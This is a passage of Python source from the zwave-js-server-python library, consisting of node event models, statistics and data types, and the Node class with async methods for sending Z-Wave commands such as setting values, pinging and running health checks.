data. Subclass for event models for `metadata updated`, `value added`, `value notification`, `value removed`, and `value updated`. """ args: ValueDataType class MetadataUpdatedEventModel(ValueEventModel): """Model for `metadata updated` event data.""" event: Literal["metadata updated"] class ValueAddedEventModel(ValueEventModel): """Model for `value added` event data.""" event: Literal["value added"] class ValueNotificationEventModel(ValueEventModel): """Model for `value notification` event data.""" event: Literal["value notification"] class ValueRemovedEventModel(ValueEventModel): """Model for `value removed` event data.""" event: Literal["value removed"] class ValueUpdatedEventModel(ValueEventModel): """Model for `value updated` event data.""" event: Literal["value updated"] class WakeUpEventModel(BaseNodeEventModel): """Model for `wake up` event data.""" event: Literal["wake up"] class FirmwareUpdateFinishedEventModel(BaseNodeEventModel): """Model for `firmware update finished` event data.""" event: Literal["firmware update finished"] result: NodeFirmwareUpdateResultDataType class FirmwareUpdateProgressEventModel(BaseNodeEventModel): """Model for `firmware update progress` event data.""" event: Literal["firmware update progress"] progress: NodeFirmwareUpdateProgressDataType NODE_EVENT_MODEL_MAP: dict[str, type["BaseNodeEventModel"]] = { "alive": AliveEventModel, "check lifeline health progress": CheckLifelineHealthProgressEventModel, "check route health progress": CheckRouteHealthProgressEventModel, "dead": DeadEventModel, "firmware update finished": FirmwareUpdateFinishedEventModel, "firmware update progress": FirmwareUpdateProgressEventModel, "interview completed": InterviewCompletedEventModel, "interview failed": InterviewFailedEventModel, "interview stage completed": InterviewStageCompletedEventModel, "interview started": InterviewStartedEventModel, "metadata updated": MetadataUpdatedEventModel, "notification": NotificationEventModel, "ready": ReadyEventModel, "sleep": SleepEventModel, "statistics updated": StatisticsUpdatedEventModel, "test powerlevel progress": TestPowerLevelProgressEventModel, "value added": ValueAddedEventModel, "value notification": ValueNotificationEventModel, "value removed": ValueRemovedEventModel, "value updated": ValueUpdatedEventModel, "wake up": WakeUpEventModel, }
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/node/event_model.py
event_model.py
"""Provide a model for the Z-Wave JS node's statistics.""" from __future__ import annotations from contextlib import suppress from dataclasses import dataclass, field from datetime import datetime from typing import TYPE_CHECKING, TypedDict from zwave_js_server.exceptions import RssiErrorReceived from ...const import RssiError from ..statistics import RouteStatistics, RouteStatisticsDataType if TYPE_CHECKING: from ...client import Client class NodeStatisticsDataType(TypedDict, total=False): """Represent a node statistics data dict type.""" # https://github.com/zwave-js/node-zwave-js/blob/master/packages/zwave-js/src/lib/node/NodeStatistics.ts#L21-L33 commandsTX: int # required commandsRX: int # required commandsDroppedTX: int # required commandsDroppedRX: int # required timeoutResponse: int # required rtt: int rssi: int lwr: RouteStatisticsDataType nlwr: RouteStatisticsDataType lastSeen: str @dataclass class NodeStatistics: """Represent a node statistics update.""" client: "Client" data: NodeStatisticsDataType commands_tx: int = field(init=False) commands_rx: int = field(init=False) commands_dropped_rx: int = field(init=False) commands_dropped_tx: int = field(init=False) timeout_response: int = field(init=False) rtt: int | None = field(init=False) lwr: RouteStatistics | None = field(init=False, default=None) nlwr: RouteStatistics | None = field(init=False, default=None) last_seen: datetime | None = field(init=False, default=None) def __post_init__(self) -> None: """Post initialize.""" self.commands_tx = self.data["commandsTX"] self.commands_rx = self.data["commandsRX"] self.commands_dropped_rx = self.data["commandsDroppedRX"] self.commands_dropped_tx = self.data["commandsDroppedTX"] self.timeout_response = self.data["timeoutResponse"] self.rtt = self.data.get("rtt") if last_seen := self.data.get("lastSeen"): self.last_seen = datetime.fromisoformat(last_seen) if lwr := self.data.get("lwr"): with suppress(ValueError): self.lwr = RouteStatistics(self.client, lwr) if nlwr := self.data.get("nlwr"): with suppress(ValueError): self.nlwr = RouteStatistics(self.client, nlwr) @property def rssi(self) -> int | None: """ Return average RSSI of frames received by this node. Consecutive non-error measurements are combined using an exponential moving average. """ if not self.data or (rssi_ := self.data.get("rssi")) is None: return None if rssi_ in [item.value for item in RssiError]: raise RssiErrorReceived(RssiError(rssi_)) return rssi_
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/node/statistics.py
statistics.py
"""Data model for a Z-Wave JS node.""" from __future__ import annotations from typing import Literal, TypedDict from ..device_class import DeviceClassDataType from ..device_config import DeviceConfigDataType from ..endpoint import EndpointDataType from ..value import ValueDataType from .statistics import NodeStatisticsDataType class FoundNodeDataType(TypedDict, total=False): """Represent a found node data dict type.""" nodeId: int deviceClass: DeviceClassDataType supportedCCs: list[int] controlledCCs: list[int] class NodeDataType(TypedDict, total=False): """Represent a node data dict type.""" nodeId: int # required index: int # required deviceClass: DeviceClassDataType | None installerIcon: int userIcon: int name: str location: str status: int # 0-4 # required zwavePlusVersion: int zwavePlusNodeType: int zwavePlusRoleType: int isListening: bool isFrequentListening: bool | str isRouting: bool maxDataRate: int supportedDataRates: list[int] isSecure: bool | Literal["unknown"] supportsBeaming: bool supportsSecurity: bool protocolVersion: int firmwareVersion: str manufacturerId: int productId: int productType: int deviceConfig: DeviceConfigDataType deviceDatabaseUrl: str keepAwake: bool ready: bool label: str endpoints: list[EndpointDataType] endpointCountIsDynamic: bool endpointsHaveIdenticalCapabilities: bool individualEndpointCount: int aggregatedEndpointCount: int interviewAttempts: int interviewStage: int | str | None values: list[ValueDataType] statistics: NodeStatisticsDataType highestSecurityClass: int isControllerNode: bool lastSeen: str defaultVolume: int | float | None defaultTransitionDuration: int | float | None
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/node/data_model.py
data_model.py
"""Provide a model for the Z-Wave JS node.""" from __future__ import annotations import asyncio import copy import logging from datetime import datetime from typing import TYPE_CHECKING, Any, cast from ...const import ( INTERVIEW_FAILED, NOT_INTERVIEWED, CommandClass, DateAndTime, NodeStatus, PowerLevel, SecurityClass, ) from ...event import Event, EventBase from ...exceptions import ( FailedCommand, NotFoundError, UnparseableValue, UnwriteableValue, ) from ..command_class import CommandClassInfo from ..device_class import DeviceClass from ..device_config import DeviceConfig from ..endpoint import Endpoint from ..notification import ( EntryControlNotification, EntryControlNotificationDataType, MultilevelSwitchNotification, MultilevelSwitchNotificationDataType, NotificationNotification, NotificationNotificationDataType, PowerLevelNotification, PowerLevelNotificationDataType, ) from ..value import ( ConfigurationValue, MetaDataType, SetValueResult, Value, ValueDataType, ValueMetadata, ValueNotification, _get_value_id_str_from_dict, _init_value, ) from .data_model import NodeDataType from .event_model import NODE_EVENT_MODEL_MAP from .firmware import ( NodeFirmwareUpdateCapabilities, NodeFirmwareUpdateCapabilitiesDataType, NodeFirmwareUpdateProgress, NodeFirmwareUpdateProgressDataType, NodeFirmwareUpdateResult, NodeFirmwareUpdateResultDataType, ) from .health_check import ( CheckHealthProgress, LifelineHealthCheckResult, LifelineHealthCheckSummary, RouteHealthCheckResult, RouteHealthCheckSummary, TestPowerLevelProgress, ) from .statistics import NodeStatistics, NodeStatisticsDataType if TYPE_CHECKING: from ...client import Client # pylint: disable=too-many-lines _LOGGER = logging.getLogger(__package__) DEFAULT_NODE_STATISTICS = NodeStatisticsDataType( commandsTX=0, commandsRX=0, commandsDroppedTX=0, commandsDroppedRX=0, timeoutResponse=0, ) def _get_value_id_dict_from_value_data(value_data: ValueDataType) -> dict[str, Any]: """Return a value ID dict from ValueDataType.""" data = { "commandClass": value_data["commandClass"], "property": value_data["property"], } if (endpoint := value_data.get("endpoint")) is not None: data["endpoint"] = endpoint if (property_key := value_data.get("propertyKey")) is not None: data["propertyKey"] = property_key return data class Node(EventBase): """Represent a Z-Wave JS node.""" def __init__(self, client: "Client", data: NodeDataType) -> None: """Initialize the node.""" super().__init__() self.client = client self.data: NodeDataType = {} self._device_config = DeviceConfig({}) self._statistics = NodeStatistics( client, data.get("statistics", DEFAULT_NODE_STATISTICS) ) self._firmware_update_progress: NodeFirmwareUpdateProgress | None = None self.values: dict[str, ConfigurationValue | Value] = {} self.endpoints: dict[int, Endpoint] = {} self._status_event = asyncio.Event() self.update(data) def __repr__(self) -> str: """Return the representation.""" return f"{type(self).__name__}(node_id={self.node_id})" def __hash__(self) -> int: """Return the hash.""" return hash((self.client.driver, self.node_id)) def __eq__(self, other: object) -> bool: """Return whether this instance equals another.""" if not isinstance(other, Node): return False return ( self.client.driver == other.client.driver and self.node_id == other.node_id ) @property def node_id(self) -> int: """Return node ID property.""" return self.data["nodeId"] @property def index(self) -> int: """Return index property.""" return self.data["index"] @property def device_class(self) -> DeviceClass | None: """Return the device_class.""" if (device_class := self.data.get("deviceClass")) is None: return None return DeviceClass(device_class) @property def installer_icon(self) -> int | None: """Return installer icon property.""" return self.data.get("installerIcon") @property def user_icon(self) -> int | None: """Return user icon property.""" return self.data.get("userIcon") @property def status(self) -> NodeStatus: """Return the status.""" return NodeStatus(self.data["status"]) @property def ready(self) -> bool | None: """Return the ready.""" return self.data.get("ready") @property def is_listening(self) -> bool | None: """Return the is_listening.""" return self.data.get("isListening") @property def is_frequent_listening(self) -> bool | str | None: """Return the is_frequent_listening.""" return self.data.get("isFrequentListening") @property def is_routing(self) -> bool | None: """Return the is_routing.""" return self.data.get("isRouting") @property def max_data_rate(self) -> int | None: """Return the max_data_rate.""" return self.data.get("maxDataRate") @property def supported_data_rates(self) -> list[int]: """Return the supported_data_rates.""" return self.data.get("supportedDataRates", []) @property def is_secure(self) -> bool | None: """Return the is_secure.""" if (is_secure := self.data.get("isSecure")) == "unknown": return None return is_secure @property def protocol_version(self) -> int | None: """Return the protocol_version.""" return self.data.get("protocolVersion") @property def supports_beaming(self) -> bool | None: """Return the supports_beaming.""" return self.data.get("supportsBeaming") @property def supports_security(self) -> bool | None: """Return the supports_security.""" return self.data.get("supportsSecurity") @property def manufacturer_id(self) -> int | None: """Return the manufacturer_id.""" return self.data.get("manufacturerId") @property def product_id(self) -> int | None: """Return the product_id.""" return self.data.get("productId") @property def product_type(self) -> int | None: """Return the product_type.""" return self.data.get("productType") @property def firmware_version(self) -> str | None: """Return the firmware_version.""" return self.data.get("firmwareVersion") @property def zwave_plus_version(self) -> int | None: """Return the zwave_plus_version.""" return self.data.get("zwavePlusVersion") @property def zwave_plus_node_type(self) -> int | None: """Return the zwave_plus_node_type.""" return self.data.get("zwavePlusNodeType") @property def zwave_plus_role_type(self) -> int | None: """Return the zwave_plus_role_type.""" return self.data.get("zwavePlusRoleType") @property def name(self) -> str | None: """Return the name.""" return self.data.get("name") @property def location(self) -> str | None: """Return the location.""" return self.data.get("location") @property def device_config(self) -> DeviceConfig: """Return the device_config.""" return self._device_config @property def label(self) -> str | None: """Return the label.""" return self.data.get("label") @property def device_database_url(self) -> str | None: """Return the device database URL.""" return self.data.get("deviceDatabaseUrl") @property def endpoint_count_is_dynamic(self) -> bool | None: """Return the endpoint_count_is_dynamic.""" return self.data.get("endpointCountIsDynamic") @property def endpoints_have_identical_capabilities(self) -> bool | None: """Return the endpoints_have_identical_capabilities.""" return self.data.get("endpointsHaveIdenticalCapabilities") @property def individual_endpoint_count(self) -> int | None: """Return the individual_endpoint_count.""" return self.data.get("individualEndpointCount") @property def aggregated_endpoint_count(self) -> int | None: """Return the aggregated_endpoint_count.""" return self.data.get("aggregatedEndpointCount") @property def interview_attempts(self) -> int | None: """Return the interview_attempts.""" return self.data.get("interviewAttempts") @property def interview_stage(self) -> int | str | None: """Return the interview_stage.""" return self.data.get("interviewStage") @property def in_interview(self) -> bool: """Return whether node is currently being interviewed.""" return ( not self.ready and not self.awaiting_manual_interview and self.interview_stage != INTERVIEW_FAILED ) @property def awaiting_manual_interview(self) -> bool: """Return whether node requires a manual interview.""" return self.interview_stage in (None, NOT_INTERVIEWED) @property def command_classes(self) -> list[CommandClassInfo]: """Return all CommandClasses supported on this node.""" return self.endpoints[0].command_classes @property def statistics(self) -> NodeStatistics: """Return statistics property.""" return self._statistics @property def firmware_update_progress(self) -> NodeFirmwareUpdateProgress | None: """Return firmware update progress.""" return self._firmware_update_progress @property def highest_security_class(self) -> SecurityClass | None: """Return highest security class configured on the node.""" if (security_class := self.data.get("highestSecurityClass")) is None: return None return SecurityClass(security_class) @property def is_controller_node(self) -> bool: """Return whether the node is a controller node.""" return self.data["isControllerNode"] @property def keep_awake(self) -> bool: """Return whether the node is set to keep awake.""" return self.data["keepAwake"] @property def last_seen(self) -> datetime | None: """Return when the node was last seen.""" if last_seen := self.data.get("lastSeen"): return datetime.fromisoformat(last_seen) return None @property def default_volume(self) -> int | float | None: """Return the default volume.""" return self.data.get("defaultVolume") @property def default_transition_duration(self) -> int | float | None: """Return the default transition duration.""" return self.data.get("defaultTransitionDuration") def update(self, data: NodeDataType) -> None: """Update the internal state data.""" self.data = copy.deepcopy(data) self._device_config = DeviceConfig(self.data.get("deviceConfig", {})) self._statistics = NodeStatistics( self.client, self.data.get("statistics", DEFAULT_NODE_STATISTICS) ) new_values_data = { _get_value_id_str_from_dict(self, val): val for val in self.data.pop("values") } new_value_ids = set(new_values_data) stale_value_ids = set(self.values) - new_value_ids # Remove stale values for value_id in stale_value_ids: self.values.pop(value_id) # Updating existing values and populate new values. Preserve value order if # initializing values for the node for the first time by using the key order # which is deterministic for value_id in ( new_value_ids - stale_value_ids if stale_value_ids else list(new_values_data) ): val = new_values_data[value_id] try: if value_id in self.values: self.values[value_id].update(val) else: self.values[value_id] = _init_value(self, val) except UnparseableValue: # If we can't parse the value, don't store it pass new_endpoints_data = { endpoint["index"]: endpoint for endpoint in self.data.pop("endpoints") } new_endpoint_idxs = set(new_endpoints_data) stale_endpoint_idxs = set(self.endpoints) - new_endpoint_idxs # Remove stale endpoints for endpoint_idx in stale_endpoint_idxs: self.endpoints.pop(endpoint_idx) # Add new endpoints or update existing ones for endpoint_idx in new_endpoint_idxs - stale_endpoint_idxs: endpoint = new_endpoints_data[endpoint_idx] values = { value_id: value for value_id, value in self.values.items() if self.index == value.endpoint } if endpoint_idx in self.endpoints: self.endpoints[endpoint_idx].update(endpoint, values) else: self.endpoints[endpoint_idx] = Endpoint(self.client, endpoint, values) def get_command_class_values( self, command_class: CommandClass, endpoint: int | None = None ) -> dict[str, ConfigurationValue | Value]: """Return all values for a given command class.""" return { value_id: value for value_id, value in self.values.items() if value.command_class == command_class and (endpoint is None or value.endpoint == endpoint) } def get_configuration_values(self) -> dict[str, ConfigurationValue]: """Return all configuration values for a node.""" return cast( dict[str, ConfigurationValue], self.get_command_class_values(CommandClass.CONFIGURATION), ) def receive_event(self, event: Event) -> None: """Receive an event.""" NODE_EVENT_MODEL_MAP[event.type](**event.data) self._handle_event_protocol(event) event.data["node"] = self self.emit(event.type, event.data) async def async_send_command( self, cmd: str, require_schema: int | None = None, wait_for_result: bool | None = None, **cmd_kwargs: Any, ) -> dict[str, Any] | None: """ Send a node command. For internal use only. If wait_for_result is not None, it will take precedence, otherwise we will decide to wait or not based on the node status. """ kwargs = {} message = {"command": f"node.{cmd}", "nodeId": self.node_id, **cmd_kwargs} if require_schema is not None: kwargs["require_schema"] = require_schema if wait_for_result: result = await self.client.async_send_command(message, **kwargs) return result if wait_for_result is None and self.status not in ( NodeStatus.ASLEEP, NodeStatus.DEAD, ): result_task = asyncio.create_task( self.client.async_send_command(message, **kwargs) ) status_task = asyncio.create_task(self._status_event.wait()) await asyncio.wait( [result_task, status_task], return_when=asyncio.FIRST_COMPLETED, ) status_task.cancel() if self._status_event.is_set() and not result_task.done(): result_task.cancel() return None return result_task.result() await self.client.async_send_command_no_wait(message, **kwargs) return None async def async_set_value( self, val: Value | str, new_value: Any, options: dict | None = None, wait_for_result: bool | None = None, ) -> SetValueResult | None: """Send setValue command to Node for given value (or value_id).""" # a value may be specified as value_id or the value itself if not isinstance(val, Value): if val not in self.values: raise NotFoundError(f"Value {val} not found on node {self}") val = self.values[val] if val.metadata.writeable is False: raise UnwriteableValue cmd_args = { "valueId": _get_value_id_dict_from_value_data(val.data), "value": new_value, } if options: option = next( ( option for option in options if option not in val.metadata.value_change_options ), None, ) if option is not None: raise NotFoundError( f"Option {option} not found on value {val} on node {self}" ) cmd_args["options"] = options # the value object needs to be send to the server result = await self.async_send_command( "set_value", **cmd_args, require_schema=29, wait_for_result=wait_for_result ) if result is None: return None return SetValueResult(result["result"]) async def async_refresh_info(self) -> None: """Send refreshInfo command to Node.""" await self.async_send_command("refresh_info", wait_for_result=False) async def async_refresh_values(self) -> None: """Send refreshValues command to Node.""" await self.async_send_command( "refresh_values", wait_for_result=False, require_schema=4 ) async def async_refresh_cc_values(self, command_class: CommandClass) -> None: """Send refreshCCValues command to Node.""" await self.async_send_command( "refresh_cc_values", commandClass=command_class, wait_for_result=False, require_schema=4, ) async def async_get_defined_value_ids(self) -> list[Value]: """Send getDefinedValueIDs command to Node.""" data = await self.async_send_command( "get_defined_value_ids", wait_for_result=True ) if data is None: # We should never reach this code raise FailedCommand("Command failed", "failed_command") return [ _init_value(self, cast(ValueDataType, value_id)) for value_id in data["valueIds"] ] async def async_get_value_metadata(self, val: Value | str) -> ValueMetadata: """Send getValueMetadata command to Node.""" # a value may be specified as value_id or the value itself if not isinstance(val, Value): val = self.values[val] # the value object needs to be send to the server data = await self.async_send_command( "get_value_metadata", valueId=_get_value_id_dict_from_value_data(val.data), wait_for_result=True, ) return ValueMetadata(cast(MetaDataType, data)) async def async_get_firmware_update_capabilities( self, ) -> NodeFirmwareUpdateCapabilities: """Send getFirmwareUpdateCapabilities command to Node.""" data = await self.async_send_command( "get_firmware_update_capabilities", require_schema=7, wait_for_result=True, ) assert data return NodeFirmwareUpdateCapabilities( cast(NodeFirmwareUpdateCapabilitiesDataType, data["capabilities"]) ) async def async_get_firmware_update_capabilities_cached( self, ) -> NodeFirmwareUpdateCapabilities: """Send getFirmwareUpdateCapabilitiesCached command to Node.""" data = await self.async_send_command( "get_firmware_update_capabilities_cached", require_schema=21, wait_for_result=True, ) assert data return NodeFirmwareUpdateCapabilities( cast(NodeFirmwareUpdateCapabilitiesDataType, data["capabilities"]) ) async def async_abort_firmware_update(self) -> None: """Send abortFirmwareUpdate command to Node.""" await self.async_send_command("abort_firmware_update", wait_for_result=True) async def async_poll_value(self, val: Value | str) -> None: """Send pollValue command to Node for given value (or value_id).""" # a value may be specified as value_id or the value itself if not isinstance(val, Value): val = self.values[val] await self.async_send_command( "poll_value", valueId=_get_value_id_dict_from_value_data(val.data), require_schema=1, ) async def async_ping(self) -> bool: """Send ping command to Node.""" data = ( await self.async_send_command( "ping", require_schema=5, wait_for_result=True ) or {} ) return cast(bool, data.get("responded", False)) async def async_invoke_cc_api( self, command_class: CommandClass, method_name: str, *args: Any, wait_for_result: bool | None = None, ) -> Any: """Call endpoint.invoke_cc_api command.""" return await self.endpoints[0].async_invoke_cc_api( command_class, method_name, *args, wait_for_result=wait_for_result ) async def async_supports_cc_api(self, command_class: CommandClass) -> bool: """Call endpoint.supports_cc_api command.""" return await self.endpoints[0].async_supports_cc_api(command_class) async def async_supports_cc(self, command_class: CommandClass) -> bool: """Call endpoint.supports_cc command.""" return await self.endpoints[0].async_supports_cc(command_class) async def async_controls_cc(self, command_class: CommandClass) -> bool: """Call endpoint.controls_cc command.""" return await self.endpoints[0].async_controls_cc(command_class) async def async_is_cc_secure(self, command_class: CommandClass) -> bool: """Call endpoint.is_cc_secure command.""" return await self.endpoints[0].async_is_cc_secure(command_class) async def async_get_cc_version(self, command_class: CommandClass) -> bool: """Call endpoint.get_cc_version command.""" return await self.endpoints[0].async_get_cc_version(command_class) async def async_get_node_unsafe(self) -> NodeDataType: """Call endpoint.get_node_unsafe command.""" return await self.endpoints[0].async_get_node_unsafe() async def async_has_security_class(self, security_class: SecurityClass) -> bool: """Return whether node has the given security class.""" data = await self.async_send_command( "has_security_class", securityClass=security_class, require_schema=8, wait_for_result=True, ) assert data return cast(bool, data["hasSecurityClass"]) async def async_get_highest_security_class(self) -> SecurityClass: """Get the highest security class that a node supports.""" data = await self.async_send_command( "get_highest_security_class", require_schema=8, wait_for_result=True ) assert data return SecurityClass(data["highestSecurityClass"]) async def async_test_power_level( self, test_node: "Node", power_level: PowerLevel, test_frame_count: int ) -> int: """Send testPowerLevel command to Node.""" data = await self.async_send_command( "test_powerlevel", testNodeId=test_node.node_id, powerlevel=power_level, testFrameCount=test_frame_count, require_schema=13, wait_for_result=True, ) assert data return cast(int, data["framesAcked"]) async def async_check_lifeline_health( self, rounds: int | None = None ) -> LifelineHealthCheckSummary: """Send checkLifelineHealth command to Node.""" kwargs = {} if rounds is not None: kwargs["rounds"] = rounds data = await self.async_send_command( "check_lifeline_health", require_schema=13, wait_for_result=True, **kwargs, ) assert data return LifelineHealthCheckSummary(data["summary"]) async def async_check_route_health( self, target_node: "Node", rounds: int | None = None ) -> RouteHealthCheckSummary: """Send checkRouteHealth command to Node.""" kwargs = {"targetNodeId": target_node.node_id} if rounds is not None: kwargs["rounds"] = rounds data = await self.async_send_command( "check_route_health", require_schema=13, wait_for_result=True, **kwargs, ) assert data return RouteHealthCheckSummary(data["summary"]) async def async_get_state(self) -> NodeDataType: """Get node state.""" data = await self.async_send_command( "get_state", require_schema=14, wait_for_result=True ) assert data return cast(NodeDataType, data["state"]) async def async_set_name( self, name: str, update_cc: bool = True, wait_for_result: bool | None = None ) -> None: """Set node name.""" # If we may not potentially update the name CC, we should just wait for the # result because the change is local to the driver if not update_cc: wait_for_result = True await self.async_send_command( "set_name", name=name, updateCC=update_cc, wait_for_result=wait_for_result, require_schema=14, ) self.data["name"] = name async def async_set_location( self, location: str, update_cc: bool = True, wait_for_result: bool | None = None, ) -> None: """Set node location.""" # If we may not potentially update the location CC, we should just wait for the # result because the change is local to the driver if not update_cc: wait_for_result = True await self.async_send_command( "set_location", location=location, updateCC=update_cc, wait_for_result=wait_for_result, require_schema=14, ) self.data["location"] = location async def async_is_firmware_update_in_progress(self) -> bool: """ Send isFirmwareUpdateInProgress command to Node. If `True`, a firmware update for this node is in progress. """ data = await self.async_send_command( "is_firmware_update_in_progress", require_schema=21, wait_for_result=True ) assert data return cast(bool, data["progress"]) async def async_set_keep_awake(self, keep_awake: bool) -> None: """Set node keep awake state.""" await self.async_send_command( "set_keep_awake", keepAwake=keep_awake, wait_for_result=True, require_schema=14, ) self.data["keepAwake"] = keep_awake async def async_interview(self) -> None: """Interview node.""" await self.async_send_command( "interview", wait_for_result=False, require_schema=22, ) async def async_get_value_timestamp(self, val: Value | str) -> int: """Send getValueTimestamp command to Node for given value (or value_id).""" # a value may be specified as value_id or the value itself if not isinstance(val, Value): val = self.values[val] data = await self.async_send_command( "get_value_timestamp", valueId=_get_value_id_dict_from_value_data(val.data), require_schema=27, wait_for_result=True, ) assert data return cast(int, data["timestamp"]) async def async_manually_idle_notification_value(self, val: Value | str) -> None: """Send manuallyIdleNotificationValue command to Node for given value (or value_id).""" # a value may be specified as value_id or the value itself if not isinstance(val, Value): val = self.values[val] if val.command_class != CommandClass.NOTIFICATION: raise ValueError( "Value must be of CommandClass.NOTIFICATION to manually idle it" ) await self.async_send_command( "manually_idle_notification_value", valueId=_get_value_id_dict_from_value_data(val.data), require_schema=28, wait_for_result=False, ) async def async_set_date_and_time(self, datetime_: datetime | None = None) -> bool: """Send setDateAndTime command to Node.""" args = {} if datetime_: args["date"] = datetime_.isoformat() data = await self.async_send_command( "set_date_and_time", **args, require_schema=28, wait_for_result=True, ) assert data return cast(bool, data["success"]) async def async_get_date_and_time(self) -> DateAndTime: """Send getDateAndTime command to Node.""" data = await self.async_send_command( "get_date_and_time", require_schema=31, wait_for_result=True, ) assert data return DateAndTime(data["dateAndTime"]) async def async_is_health_check_in_progress(self) -> bool: """Send isHealthCheckInProgress command to Node.""" data = await self.async_send_command( "is_health_check_in_progress", require_schema=31, wait_for_result=True, ) assert data return cast(bool, data["progress"]) async def async_abort_health_check(self) -> None: """Send abortHealthCheck command to Node.""" await self.async_send_command( "abort_health_check", require_schema=31, wait_for_result=True, ) async def async_set_default_volume( self, default_volume: int | float | None ) -> None: """Send setDefaultVolume command to Node.""" cmd_kwargs = {} self.data["defaultVolume"] = default_volume if default_volume is not None: cmd_kwargs["defaultVolume"] = default_volume await self.async_send_command( "set_default_volume", require_schema=31, wait_for_result=None, **cmd_kwargs, ) async def async_set_default_transition_duration( self, default_duration_transition: int | float | None ) -> None: """Send setDefaultTransitionDuration command to Node.""" cmd_kwargs = {} self.data["defaultTransitionDuration"] = default_duration_transition if default_duration_transition is not None: cmd_kwargs["defaultTransitionDuration"] = default_duration_transition await self.async_send_command( "set_default_transition_duration", require_schema=31, wait_for_result=None, **cmd_kwargs, ) async def async_has_device_config_changed(self) -> bool: """Send hasDeviceConfigChanged command to Node.""" data = await self.async_send_command( "has_device_config_changed", require_schema=31, wait_for_result=True, ) assert data return cast(bool, data["changed"]) def handle_test_powerlevel_progress(self, event: Event) -> None: """Process a test power level progress event.""" event.data["test_power_level_progress"] = TestPowerLevelProgress( event.data["acknowledged"], event.data["total"] ) def handle_check_lifeline_health_progress(self, event: Event) -> None: """Process a check lifeline health progress event.""" event.data["check_lifeline_health_progress"] = CheckHealthProgress( event.data["rounds"], event.data["totalRounds"], event.data["lastRating"], LifelineHealthCheckResult(event.data["lastResult"]), ) def handle_check_route_health_progress(self, event: Event) -> None: """Process a check route health progress event.""" event.data["check_route_health_progress"] = CheckHealthProgress( event.data["rounds"], event.data["totalRounds"], event.data["lastRating"], RouteHealthCheckResult(event.data["lastResult"]), ) def handle_wake_up(self, event: Event) -> None: """Process a node wake up event.""" # pylint: disable=unused-argument self._status_event.clear() self.data["status"] = NodeStatus.AWAKE def handle_sleep(self, event: Event) -> None: """Process a node sleep event.""" # pylint: disable=unused-argument self._status_event.set() self.data["status"] = NodeStatus.ASLEEP def handle_dead(self, event: Event) -> None: """Process a node dead event.""" # pylint: disable=unused-argument self._status_event.set() self.data["status"] = NodeStatus.DEAD def handle_alive(self, event: Event) -> None: """Process a node alive event.""" # pylint: disable=unused-argument self._status_event.clear() self.data["status"] = NodeStatus.ALIVE def handle_interview_started(self, event: Event) -> None: """Process a node interview started event.""" # pylint: disable=unused-argument self.data["ready"] = False self.data["interviewStage"] = None def handle_interview_stage_completed(self, event: Event) -> None: """Process a node interview stage completed event.""" self.data["interviewStage"] = event.data["stageName"] def handle_interview_failed(self, event: Event) -> None: """Process a node interview failed event.""" # pylint: disable=unused-argument self.data["interviewStage"] = INTERVIEW_FAILED def handle_interview_completed(self, event: Event) -> None: """Process a node interview completed event.""" # pylint: disable=unused-argument self.data["ready"] = True def handle_ready(self, event: Event) -> None: """Process a node ready event.""" # the event contains a full dump of the node self.update(event.data["nodeState"]) def handle_value_added(self, event: Event) -> None: """Process a node value added event.""" self.handle_value_updated(event) def handle_value_updated(self, event: Event) -> None: """Process a node value updated event.""" evt_val_data: ValueDataType = event.data["args"] value_id = _get_value_id_str_from_dict(self, evt_val_data) value = self.values.get(value_id) if value is None: value = _init_value(self, evt_val_data) self.values[value.value_id] = event.data["value"] = value else: value.receive_event(event) event.data["value"] = value def handle_value_removed(self, event: Event) -> None: """Process a node value removed event.""" value_id = _get_value_id_str_from_dict(self, event.data["args"]) event.data["value"] = self.values.pop(value_id) def handle_value_notification(self, event: Event) -> None: """Process a node value notification event.""" # if value is found, use value data as base and update what is provided # in the event, otherwise use the event data event_data = event.data["args"] if value := self.values.get(_get_value_id_str_from_dict(self, event_data)): value_notification = ValueNotification( self, cast(ValueDataType, dict(value.data)) ) value_notification.update(event_data) else: value_notification = ValueNotification(self, event_data) event.data["value_notification"] = value_notification def handle_metadata_updated(self, event: Event) -> None: """Process a node metadata updated event.""" # handle metadata updated as value updated (as its a value object with # included metadata) self.handle_value_updated(event) def handle_notification(self, event: Event) -> None: """Process a node notification event.""" command_class = CommandClass(event.data["ccId"]) if command_class == CommandClass.NOTIFICATION: event.data["notification"] = NotificationNotification( self, cast(NotificationNotificationDataType, event.data) ) elif command_class == CommandClass.SWITCH_MULTILEVEL: event.data["notification"] = MultilevelSwitchNotification( self, cast(MultilevelSwitchNotificationDataType, event.data) ) elif command_class == CommandClass.ENTRY_CONTROL: event.data["notification"] = EntryControlNotification( self, cast(EntryControlNotificationDataType, event.data) ) elif command_class == CommandClass.POWERLEVEL: event.data["notification"] = PowerLevelNotification( self, cast(PowerLevelNotificationDataType, event.data) ) else: _LOGGER.info("Unhandled notification command class: %s", command_class.name) def handle_firmware_update_progress(self, event: Event) -> None: """Process a node firmware update progress event.""" self._firmware_update_progress = event.data[ "firmware_update_progress" ] = NodeFirmwareUpdateProgress( self, cast(NodeFirmwareUpdateProgressDataType, event.data["progress"]) ) def handle_firmware_update_finished(self, event: Event) -> None: """Process a node firmware update finished event.""" self._firmware_update_progress = None event.data["firmware_update_finished"] = NodeFirmwareUpdateResult( self, cast(NodeFirmwareUpdateResultDataType, event.data["result"]) ) def handle_statistics_updated(self, event: Event) -> None: """Process a statistics updated event.""" self.data["statistics"] = statistics = event.data["statistics"] event.data["statistics_updated"] = self._statistics = NodeStatistics( self.client, statistics ) if last_seen := statistics.get("lastSeen"): self.data["lastSeen"] = last_seen
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/node/__init__.py
__init__.py
